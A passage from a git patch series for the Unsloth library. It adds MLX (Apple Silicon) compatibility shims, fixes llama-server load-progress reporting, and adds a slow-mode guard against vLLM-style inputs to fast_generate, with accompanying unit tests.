             raise NotImplementedError(
-                "Unsloth: UnslothVisionDataCollator is not used on MLX. "
-                "Use the MLX trainer/data path instead."
+                f"Unsloth: {name} is not yet supported on the MLX (Apple Silicon) "
+                f"backend. Only SFT training runs on MLX today; use a CUDA/ROCm GPU "
+                f"for {name}."
             )
 
+        return type(name, (), {"__init__": __init__, "_unsloth_mlx_unsupported": True})
+
+    class _MLXSFTConfig(UnslothTrainingArguments):
+        """`trl.SFTConfig` alias that keeps TRL's default training length.
+
+        TRL/HF SFTConfig defaults to num_train_epochs=3 (max_steps=-1); the
+        native MLX config defaults to max_steps=60. An unmigrated notebook that
+        builds SFTConfig without an explicit length would otherwise silently run
+        60 MLX steps under this alias, so seed the TRL epoch default when neither
+        max_steps nor num_train_epochs is given (epoch mode is MLX-supported).
+        """
+
+        def __init__(self, *args, **kwargs):
+            keys = set(kwargs)
+            if len(args) == 1 and isinstance(args[0], dict):
+                keys |= set(args[0])
+            if not ({"max_steps", "num_train_epochs"} & keys):
+                kwargs.setdefault("num_train_epochs", 3)
+            super().__init__(*args, **kwargs)
+
+    def _install_mlx_trl_sft_shim():
+        """Install MLX-backed TRL SFT shims without replacing the TRL module."""
+        _trl = _sys.modules.get("trl")
+        if _trl is None:
+            try:
+                import trl as _trl
+            except ImportError:
+                _trl = _types.ModuleType("trl")
+                _trl.__version__ = "0.0.0+unsloth-mlx"
+                _trl.__package__ = "trl"
+                _trl.__path__ = []
+                _trl.__spec__ = _machinery.ModuleSpec("trl", loader = None, is_package = True)
+                _sys.modules["trl"] = _trl
+
+        _trl.SFTTrainer = UnslothTrainer
+        _trl.SFTConfig = _MLXSFTConfig
+        # Only retarget trainers the installed trl actually exposes (don't invent
+        # attributes); idempotent so re-importing unsloth is a no-op.
+        # Decide what to stub from trl's declared exports (__all__) and already
+        # materialized attrs only. A getattr probe here would trigger trl's lazy
+        # trainer import, pulling torch and breaking `import unsloth` on torch-free
+        # MLX just to check existence.
+        _trl_exports = set(getattr(_trl, "__all__", ()) or ())
+        # Stub every non-SFT trainer trl exposes, not just a fixed list, so newer
+        # trainers (RLOOTrainer, ...) also fail with a clear MLX message instead
+        # of importing the real torch trainer. Names come from __all__ so we never
+        # resolve them (that would trigger trl's lazy import and pull torch).
+        _unsupported = set(_MLX_UNSUPPORTED_TRL_TRAINERS) | {
+            _n for _n in _trl_exports if _n.endswith("Trainer") and _n != "SFTTrainer"
+        }
+        for _name in _unsupported:
+            _current = vars(_trl).get(_name)
+            if getattr(_current, "_unsloth_mlx_unsupported", False):
+                continue
+            if _name in _trl_exports or _current is not None:
+                setattr(_trl, _name, _make_mlx_unsupported_trl_trainer(_name))
+        _trl.__all__ = _safe_mlx_trl_star_exports(_trl)
+        _trl.__UNSLOTH_MLX_COMPAT__ = True
+
+    def _install_mlx_unsloth_trainer_shim():
+        module_name = f"{__name__}.trainer"
+        _trainer = _types.ModuleType(module_name)
+        _trainer.__package__ = __name__
+        _trainer.__spec__ = _machinery.ModuleSpec(module_name, loader = None)
+        _trainer.MLXTrainer = MLXTrainer
+        _trainer.MLXTrainingConfig = MLXTrainingConfig
+        _trainer.UnslothTrainer = UnslothTrainer
+        _trainer.UnslothTrainingArguments = UnslothTrainingArguments
+        _trainer.UnslothVisionDataCollator = UnslothVisionDataCollator
+        _sys.modules[module_name] = _trainer
+        globals()["trainer"] = _trainer
+
+    _install_mlx_trl_sft_shim()
+    _install_mlx_unsloth_trainer_shim()
+
 else:
     # GPU path: load everything from _gpu_init
     from ._gpu_init import *
     from ._gpu_init import __version__
+
+    def get_gpu_memory_stats():
+        """Return CUDA/ROCm/XPU device stats, peak memory, and total memory in GiB."""
+        try:
+            import torch
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                props = torch.xpu.get_device_properties(0)
+                peak = (
+                    torch.xpu.max_memory_reserved()
+                    if hasattr(torch.xpu, "max_memory_reserved")
+                    else torch.xpu.max_memory_allocated()
+                )
+                total = getattr(props, "total_memory", 0)
+                return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0
+            if hasattr(torch, "cuda") and torch.cuda.is_available():
+                props = torch.cuda.get_device_properties(0)
+                peak = torch.cuda.max_memory_reserved()
+                total = getattr(props, "total_memory", 0)
+                return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0
+        except Exception:
+            pass
+        stats = _UnslothDeviceStats("Unknown GPU", 0)
+        return stats, 0.0, 1.0
+
+    def clear_gpu_memory():
+        """Clear cached GPU memory on CUDA, ROCm, or XPU when available."""
+        try:
+            import torch
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                torch.xpu.empty_cache()
+            elif hasattr(torch, "cuda") and torch.cuda.is_available():
+                torch.cuda.empty_cache()
+        except Exception:
+            pass
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index 60eb8de5d7..169b2dbd0e 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -27,18 +27,25 @@ __all__ = [
     "test_construct_chat_template",
 ]
 
-from transformers import StoppingCriteria, StoppingCriteriaList
-from torch import LongTensor, FloatTensor
-from transformers.models.llama.modeling_llama import logger
+from transformers.utils import logging
+try:
+    from torch import LongTensor, FloatTensor
+except ImportError:
+    LongTensor = FloatTensor = None
+logger = logging.get_logger(__name__)
 import os
 import shutil
-from .tokenizer_utils import *
 import re
 from .ollama_template_mappers import OLLAMA_TEMPLATES
-from unsloth_zoo.dataset_utils import (
-    train_on_responses_only,
-    standardize_data_formats,
-)
+try:
+    from unsloth_zoo.dataset_utils import (
+        train_on_responses_only,
+        standardize_data_formats,
+    )
+except ImportError:
+    # dataset_utils pulls torch; keep chat_templates importable on torch-free
+    # (MLX) hosts, which expose these via the backend-specific wrappers instead.
+    train_on_responses_only = standardize_data_formats = None
 standardize_sharegpt = standardize_data_formats
 CHAT_TEMPLATES = {}
 DEFAULT_SYSTEM_MESSAGE = {}
@@ -1838,11 +1845,24 @@ def get_chat_template(
     map_eos_token = True,
     system_message = None,
     patch_saving = True,
-    use_zoo_tokenizer_patch = False,
+    use_zoo_tokenizer_patch = None,
 ):
     assert(type(map_eos_token) is bool)
+    import sys
+    is_mlx_backend = getattr(sys.modules.get("unsloth"), "DEVICE_TYPE", None) == "mlx"
+    if use_zoo_tokenizer_patch is None:
+        use_zoo_tokenizer_patch = is_mlx_backend
     old_tokenizer = tokenizer
 
+    # mlx-lm's TokenizerWrapper._tokenizer is the HF tokenizer, not the Rust
+    # backend the vocab-edit paths below need; unwrap here, re-wrap before return.
+    _mlx_tokenizer_wrapper = None
+    if is_mlx_backend and tokenizer.__class__.__name__ == "TokenizerWrapper":
+        _inner_tokenizer = getattr(tokenizer, "_tokenizer", None)
+        if _inner_tokenizer is not None and hasattr(_inner_tokenizer, "is_fast"):
+            _mlx_tokenizer_wrapper = tokenizer
+            tokenizer = _inner_tokenizer
+
     IS_GEMMA = False
     if tokenizer.__class__.__name__.startswith("Gemma"):
         if chat_template == "chatml": chat_template = "gemma_chatml"
@@ -1952,6 +1972,7 @@ def get_chat_template(
                 pass
 
                 # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
+                from .tokenizer_utils import fix_sentencepiece_tokenizer
                 tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
             else:
                 pass
@@ -1997,6 +2018,7 @@ def get_chat_template(
 
             # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
             token_mapping = { old_eos_token : stop_word, }
+            from .tokenizer_utils import fix_sentencepiece_tokenizer
             tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
         pass
 
@@ -2057,13 +2079,25 @@ def get_chat_template(
     # stopping_criteria = create_stopping_criteria(tokenizer, stop_word)
 
     # Patch saving functions
-    if patch_saving:
+    if patch_saving and not is_mlx_backend:
         from .save import patch_saving_functions
         tokenizer = patch_saving_functions(tokenizer)
 
     # Add Ollama
     tokenizer._ollama_modelfile = ollama_modelfile
     tokenizer._system_message   = system_message
+
+    # Re-wrap so the trainer gets the same TokenizerWrapper type back.
+    if _mlx_tokenizer_wrapper is not None:
+        _mlx_tokenizer_wrapper._tokenizer = tokenizer
+        eos_token_id = getattr(tokenizer, "eos_token_id", None)
+        if eos_token_id is not None:
+            _mlx_tokenizer_wrapper._eos_token_ids = {eos_token_id}
+        _mlx_tokenizer_wrapper._chat_template = None
+        _mlx_tokenizer_wrapper.has_chat_template = (
+            getattr(tokenizer, "chat_template", None) is not None
+        )
+        tokenizer = _mlx_tokenizer_wrapper
     return tokenizer#, stopping_criteria
 
 
@@ -2749,6 +2783,15 @@ extra_eos_tokens = None,
 
 
 def create_stopping_criteria(tokenizer, stop_word = "eos_token"):
+    try:
+        import torch
+        from transformers import StoppingCriteria, StoppingCriteriaList
+    except ImportError as exc:
+        raise ImportError(
+            "Unsloth: create_stopping_criteria requires PyTorch and is only "
+            "supported on Torch backends."
+        ) from exc
+
     class StoppingCriteriaSub(StoppingCriteria):
         __slots__ = "stop_token", "single_match", "length",
 
@@ -2828,10 +2871,10 @@ def test_chat_templates():
     for j in range(len(messages)-1):
         correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"])
     correct_prompt.append_message(correct_prompt.roles[1], "")
-    correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt()
 
     template = vicuna_template
     correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5")
+    correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt()
     correct_tokenizer.chat_template = template
     our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True)
     assert(correct_prompt == our_prompt)
@@ -2845,10 +2888,10 @@ def test_chat_templates():
     for j in range(len(messages)-1):
         correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"])
     correct_prompt.append_message(correct_prompt.roles[1], "")
-    correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt()
 
     template = vicuna_old_template
     correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5")
+    correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt()
     correct_tokenizer.chat_template = template
     our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True)
     # We add </s> ourselves

From abdc968e8d7ec82cab3349a5ae7edf5c41936ab4 Mon Sep 17 00:00:00 2001
From: Hakan Baysal <hakanbysl@gmail.com>
Date: Fri, 3 Jul 2026 16:13:54 +0300
Subject: [PATCH 183/306] report a complete load once llama-server is healthy
 (#6790)

* report a complete load once llama-server is healthy

load_progress() derived its fraction purely from the llama-server's VmRSS over the GGUF shard total. With layers offloaded to VRAM (-ngl) the process releases the mmap'd weight pages after upload, so VmRSS sinks back well below the shard total: the fraction climbs toward ~1.0 during mmap, then collapses to a small value (~8%) once the weights are on the GPU. A fraction-driven progress bar therefore restarts and sticks there indefinitely even though the model is loaded and serving, which reads as a hang at "Starting model...".

Once the server is healthy the load is complete by definition, so report
fraction 1.0 (and bytes_loaded == bytes_total) in the ready phase regardless of resident set size. The VmRSS read is factored into _read_rss_bytes() with its original semantics preserved (0 on a missing VmRSS line, None when /proc is unavailable) so it can be unit-tested off Linux.

Fixes #5740

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* stub heavy deps in the load-progress test and guard a valueless VmRSS

Two review fixes:

1. The new test imported core.inference.llama_cpp at module top, which pulls in
   loggers/structlog/httpx and fails collection with ModuleNotFoundError in the
   lightweight backend test env when the file is run on its own. Stub loggers,
   structlog and httpx via sys.modules.setdefault before the import, mirroring
   test_llama_cpp_load_progress_matrix.py; setdefault keeps the real modules when installed. Verified the file now collects and passes with only pytest present.

2. Catch IndexError in _read_rss_bytes: a "VmRSS:" line with no value column
   would make line.split()[1] raise and crash a load-progress poll. Return None
   instead, with a test for the valueless line.

* Hold load-progress high-water mark and explain a never-healthy load (#5740)

load_progress() now holds a per-process VmRSS high-water mark, so the bar
no longer regresses to ~8% when -ngl offloads the weights and frees the
mmap pages mid-load.

A live server that never returns 200 on /health now gets a specific error
(context/VRAM too large, or a local proxy/VPN intercepting the loopback
probe) instead of the generic invalid-GGUF/out-of-memory message.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Hakan Baysal <hakan.baysal@trmix.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  61 +++++--
 ..._llama_cpp_start_failure_classification.py |  10 ++
 .../tests/test_llama_cpp_wait_for_health.py   |   9 +
 .../test_load_progress_ready_fraction.py      | 166 ++++++++++++++++++
 4 files changed, 236 insertions(+), 10 deletions(-)
 create mode 100644 studio/backend/tests/test_load_progress_ready_fraction.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 8b984c0bfe..035e5d12c7 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1273,6 +1273,7 @@ class LlamaCppBackend:
         self._is_diffusion: bool = False
         self._diffusion_visual_bin: Optional[str] = None
         self._healthy = False
+        self._load_rss_hwm = (None, 0)  # (pid, peak VmRSS) for load_progress
         self._stats_logger = None  # vLLM-style engine-stats poller, set on load
         # Set by _classify_gpu_offload after _wait_for_health.
         self._gpu_offload_active: Optional[bool] = None
@@ -1480,6 +1481,21 @@ class LlamaCppBackend:
         """Return the model's native context length from GGUF metadata."""
         return self._context_length
 
+    @staticmethod
+    def _read_rss_bytes(pid: int) -> Optional[int]:
+        """Resident set size of ``pid`` in bytes, from /proc/<pid>/status (Linux).
+        0 when the status has no VmRSS line (zombie / kernel thread); None where
+        /proc is unavailable (macOS/Windows) or the value is unreadable."""
+        try:
+            with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
+                for line in f:
+                    if line.startswith("VmRSS:"):
+                        # IndexError guards a "VmRSS:" line with no value column.
+                        return int(line.split()[1]) * 1024  # kB -> bytes
+        except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError):
+            return None
+        return 0  # readable but no VmRSS line
+
     def load_progress(self) -> Optional[dict]:
         """Return live model-load progress, or None if not loading.
 
@@ -1539,22 +1555,32 @@ class LlamaCppBackend:
             except OSError:
                 pass
 
-        # Read VmRSS from /proc/<pid>/status (kilobytes on Linux).
-        bytes_loaded = 0
-        try:
-            with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
-                for line in f:
-                    if line.startswith("VmRSS:"):
-                        kb = int(line.split()[1])
-                        bytes_loaded = kb * 1024
-                        break
-        except (FileNotFoundError, PermissionError, ValueError, OSError):
+        # VmRSS of the llama-server; None where /proc is unavailable.
+        bytes_loaded = LlamaCppBackend._read_rss_bytes(pid)
+        if bytes_loaded is None:
             return None
 
+        # RSS climbs as weights page in, then drops once -ngl offloads them to
+        # VRAM and the mmap pages are freed. Hold a per-process high-water mark
+        # so the bar never regresses to ~8% mid-load (#5740).
+        hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0))
+        hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded)
+        self._load_rss_hwm = (pid, hwm)
+        bytes_loaded = hwm
+
         phase = "ready" if self._healthy else "mmap"
         fraction = 0.0
         if bytes_total > 0:
             fraction = min(1.0, bytes_loaded / bytes_total)
+        # Once llama-server is healthy the load is complete by definition. With
+        # layers offloaded to VRAM (-ngl) the process releases the mmap'd weight
+        # pages, so VmRSS sinks back well below the shard total; the raw RSS
+        # fraction would then report a partial (~8%) load indefinitely and freeze
+        # a fraction-driven progress bar even though the model is ready (#5740).
+        if self._healthy:
+            if bytes_total > 0:
+                bytes_loaded = bytes_total
+            fraction = 1.0
         return {
             "phase": phase,
             "bytes_loaded": bytes_loaded,
@@ -4232,6 +4258,17 @@ class LlamaCppBackend:
                 "expected; otherwise check the llama-server log for the cause."
             )
 
+        # A live server that never answered 200 on /health is not a bad GGUF:
+        # the load is too large for VRAM/context, or a local proxy/VPN grabbed
+        # the loopback probe (#5740).
+        if "health check timed out" in lowered:
+            return (
+                "llama-server started but never became healthy on its local "
+                "/health endpoint. Try a smaller context length or a more "
+                "quantized GGUF, and if you use a VPN or HTTP proxy make sure "
+                "localhost bypasses it (NO_PROXY=127.0.0.1,localhost)."
+            )
+
         # Fallback: genuinely unknown failure (OOM, missing binary ...).
         return (
             "llama-server failed to start. "
@@ -7501,6 +7538,10 @@ class LlamaCppBackend:
 
             time.sleep(interval)
 
+        # Leave a marker so _classify_llama_start_failure tells a live but
+        # never-healthy load (too large, or a proxy hijacking the loopback
+        # probe) apart from a bad GGUF (#5740).
+        self._stdout_lines.append(f"llama-server health check timed out after {timeout}s")
         logger.error(f"llama-server health check timed out after {timeout}s")
         return False
 
diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
index 6b26121cf8..246d810602 100644
--- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py
+++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
@@ -140,6 +140,16 @@ class TestOllamaAndFallback:
         msg = _classify("", None, None)
         assert "llama-server failed to start" in msg
 
+    def test_health_timeout_names_probe_not_generic(self):
+        # A live server that never returns 200 on /health must name the probe and
+        # proxy/context causes, not blame a bad GGUF (#5740).
+        msg = _classify(
+            "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x"
+        )
+        assert "/health" in msg
+        assert "NO_PROXY" in msg
+        assert "GGUF file is valid" not in msg
+
 
 class TestOsKillReturncode:
     """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named,
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py
index 1ba6c9f7b5..82c5b4931a 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_health.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py
@@ -67,6 +67,15 @@ class TestWaitForHealthResilience:
         monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp)
         assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True
 
+    def test_timeout_records_marker_for_classification(self, monkeypatch):
+        """A live-but-never-healthy server leaves a marker so the failure is
+        classified as a /health timeout, not a bad GGUF (#5740)."""
+        b = _make_backend()
+        b._process.poll.return_value = None
+        monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503))
+        assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False
+        assert any("health check timed out" in ln for ln in b._stdout_lines)
+
     def test_read_error_loops_to_subprocess_poll(self, monkeypatch):
         """WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log."""
         b = _make_backend()
diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py
new file mode 100644
index 0000000000..2e499cd8c6
--- /dev/null
+++ b/studio/backend/tests/test_load_progress_ready_fraction.py
@@ -0,0 +1,166 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""load_progress() must report a complete load once llama-server is healthy.
+
+With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages
+after upload, so its VmRSS sinks back well below the shard total. The raw RSS
+fraction would then sit at a partial (~8%) value forever and freeze a
+fraction-driven progress bar even though the model is ready -- the "stuck around
+8% on the second pass" symptom in #5740. In the ready phase the fraction must be
+1.0 regardless of resident set size.
+"""
+
+from __future__ import annotations
+
+import io
+import sys
+import types
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+# Stub heavy/unavailable deps before importing the module under test, so a
+# targeted run in the lightweight backend env (no structlog/httpx) still
+# collects. setdefault keeps the real modules when they are installed. Mirrors
+# test_llama_cpp_load_progress_matrix.py.
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+sys.modules.setdefault("structlog", types.ModuleType("structlog"))
+
+_httpx_stub = types.ModuleType("httpx")
+for _exc_name in (
+    "ConnectError",
+    "TimeoutException",
+    "ReadTimeout",
+    "ReadError",
+    "RemoteProtocolError",
+    "CloseError",
+):
+    setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+
+
+class _FakeTimeout:
+    def __init__(self, *a, **kw):
+        pass
+
+
+_httpx_stub.Timeout = _FakeTimeout
+_httpx_stub.Client = type(
+    "Client",
+    (),
+    {
+        "__init__": lambda self, **kw: None,
+        "__enter__": lambda self: self,
+        "__exit__": lambda self, *a: None,
+    },
+)
+sys.modules.setdefault("httpx", _httpx_stub)
+
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+
+def _backend(
+    gguf_path,
+    *,
+    healthy,
+    pid = 4321,
+):
+    # Bare instance: exercise load_progress() without the heavy real __init__.
+    be = object.__new__(LlamaCppBackend)
+    be._process = types.SimpleNamespace(pid = pid)
+    be._gguf_path = str(gguf_path)
+    be._healthy = healthy
+    return be
+
+
+def _gguf(tmp_path, size_bytes):
+    f = tmp_path / "model-Q4_K_M.gguf"
+    f.write_bytes(b"\0" * size_bytes)
+    return f
+
+
+def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch):
+    # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(_gguf(tmp_path, 10000), healthy = True)
+    p = be.load_progress()
+    assert p["phase"] == "ready"
+    assert p["fraction"] == 1.0  # not 0.08
+    assert p["bytes_loaded"] == p["bytes_total"] == 10000
+
+
+def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch):
+    # Still loading: the bar should track real residency, not jump to 1.0.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    p = be.load_progress()
+    assert p["phase"] == "mmap"
+    assert p["fraction"] == 0.08
+    assert p["bytes_loaded"] == 800
+    assert p["bytes_total"] == 10000
+
+
+def test_progress_fraction_is_monotonic(tmp_path, monkeypatch):
+    # RSS peaks during page-in, then drops after -ngl offload; the bar must hold
+    # its high-water mark instead of collapsing back to ~8% (#5740).
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000))
+    assert be.load_progress()["fraction"] == 0.9
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    p = be.load_progress()
+    assert p["fraction"] == 0.9
+    assert p["bytes_loaded"] == 9000
+
+
+def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch):
+    # bytes_total unknown (file unstattable): fraction must still read complete.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(tmp_path / "missing.gguf", healthy = True)
+    p = be.load_progress()
+    assert p["phase"] == "ready"
+    assert p["fraction"] == 1.0
+    assert p["bytes_total"] == 0
+
+
+def test_none_when_no_process(tmp_path):
+    be = _backend(_gguf(tmp_path, 10000), healthy = True)
+    be._process = None
+    assert be.load_progress() is None
+
+
+def test_none_when_rss_unreadable(tmp_path, monkeypatch):
+    # /proc unavailable (macOS/Windows) or unreadable -> no progress payload.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None))
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    assert be.load_progress() is None
+
+
+def test_read_rss_bytes_absent_pid_is_none():
+    # A pid with no readable /proc entry (or no /proc at all) yields None, never
+    # raises.
+    assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None
+
+
+def test_read_rss_bytes_valueless_line_is_none():
+    # A "VmRSS:" line with no value column must not raise (IndexError) -> None.
+    def fake_open(path, *a, **kw):
+        if str(path).startswith("/proc/"):
+            return io.StringIO("Name:\ttest\nVmRSS:\n")
+        return open(path, *a, **kw)
+
+    with patch("builtins.open", side_effect = fake_open):
+        assert LlamaCppBackend._read_rss_bytes(4321) is None
+
+
+@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only")
+def test_read_rss_bytes_reads_self_on_linux():
+    rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid())
+    assert isinstance(rss, int) and rss > 0

From 9fd4a503e841b9eb7aa7b19e840d9feb705add6c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 3 Jul 2026 08:16:32 -0700
Subject: [PATCH 184/306] fast_generate: clear error for vLLM-style inputs when
 fast_inference=False (#6786)

* fast_generate: clear error for vLLM-style inputs when fast_inference=False

When fast_inference=False, fast_generate falls back to HuggingFace
generate, and the wrapper already rejects vLLM-only usage (a
sampling_params or lora_request kwarg, or a string prompt). A vLLM prompt
dict ({'prompt':..., 'multi_modal_data':...}) or a SamplingParams passed
positionally slipped through and hit transformers.generate, raising a
cryptic 'SamplingParams object has no attribute update'. Detect both and
raise the same clear 'only supported with fast_inference=True' error.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fast_generate: also reject positional list of SamplingParams and list of vLLM prompt dicts

Address review feedback: the slow-mode guard missed SamplingParams passed inside a
positional list and a list of {"prompt": ...} dicts, both valid vLLM batched shapes
that leaked into transformers.generate. Fold the checks into small predicates and
extend the GPU-free test (now 7 reject + 3 pass).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test_fast_generate_slow_guard: expose assertions via a test_ function so pytest collects them

The assertions lived in run(), only called from __main__, so pytest reported no tests
collected and CI skipped the coverage. Rename to test_fast_generate_slow_guard; the
standalone script entrypoint still works.

* fast_generate: reject vLLM tokenized/embeds prompt dicts in the slow-mode guard

vLLM also accepts prompt dicts keyed by prompt_token_ids or prompt_embeds, not just
prompt/multi_modal_data. Those slipped past the slow-mode guard and fell through to
HuggingFace generate with a cryptic error. Recognize all vLLM prompt-dict keys and
add a TokensPrompt test case (now 8 reject + 3 pass).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fast_generate slow-mode guard: catch vLLM prompts= keyword form

vLLM's generate names its first argument `prompts`, so a slow-mode call
like fast_generate(prompts="hi") or prompts=[{"prompt": ...}] bypassed the
guard and leaked into HuggingFace generate as an unexpected kwarg. Check
kwargs["prompts"] with the same _is_vllm_prompt predicate and add two test
cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fast_generate slow-mode guard: reject vLLM tokenized prompt kwargs

vLLM's legacy call shape passes tokens as prompt_token_ids= (and prompt_embeds=),
which are not HuggingFace generate arguments. In slow mode these bypassed the
guard and leaked into HF generate as unexpected kwargs. Reject their presence
with the same tokenize-first message and add a test case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fast_generate slow-mode guard: treat prompts= as vLLM-only

prompts is a vLLM keyword, not a HuggingFace generate argument, so any value
passed as prompts= (including a bare token-id list, which _is_vllm_prompt
deliberately ignores for positional HF token ids) is a vLLM-style call. Reject
prompts= / prompt_token_ids= / prompt_embeds= on presence, and keep the
conservative _is_vllm_prompt check only for the positional arg.

* fast_generate slow-mode guard: reject vLLM prompt kwargs on presence

prompts / prompt_token_ids / prompt_embeds are vLLM-only keyword names that
HuggingFace generate does not accept, so a defaulted call like prompts=None
should raise the actionable slow-mode error instead of leaking a None kwarg
into HF generate. Check membership in kwargs rather than a non-None value.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 tests/test_fast_generate_slow_guard.py | 95 ++++++++++++++++++++++++++
 unsloth/models/_utils.py               | 70 +++++++++++--------
 2 files changed, 136 insertions(+), 29 deletions(-)
 create mode 100644 tests/test_fast_generate_slow_guard.py

diff --git a/tests/test_fast_generate_slow_guard.py b/tests/test_fast_generate_slow_guard.py
new file mode 100644
index 0000000000..6bfc561e54
--- /dev/null
+++ b/tests/test_fast_generate_slow_guard.py
@@ -0,0 +1,95 @@
+"""GPU-free test for the fast_generate slow-mode guard in _utils.py.
+
+When fast_inference=False, model.fast_generate falls back to HuggingFace generate, so vLLM-only
+inputs must be rejected with a clear message instead of leaking into transformers.generate. Covers
+a string prompt, a vLLM {"prompt":..., "multi_modal_data":...} dict, SamplingParams passed both
+positionally and as a kwarg, and a normal tokenized call passing through.
+"""
+
+import ast, functools, os
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+UTILS = os.path.join(HERE, "unsloth", "models", "_utils.py")
+
+
+def _load_factory():
+    src = open(UTILS).read()
+    for node in ast.parse(src).body:
+        if isinstance(node, ast.FunctionDef) and node.name == "make_fast_generate_wrapper":
+            ns = {"functools": functools}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["make_fast_generate_wrapper"]
+    raise AssertionError("make_fast_generate_wrapper not found in _utils.py")
+
+
+make_fast_generate_wrapper = _load_factory()
+
+
+class _SamplingParams:
+    pass
+
+
+_SamplingParams.__name__ = "SamplingParams"  # match by class name, no vllm import needed
+
+
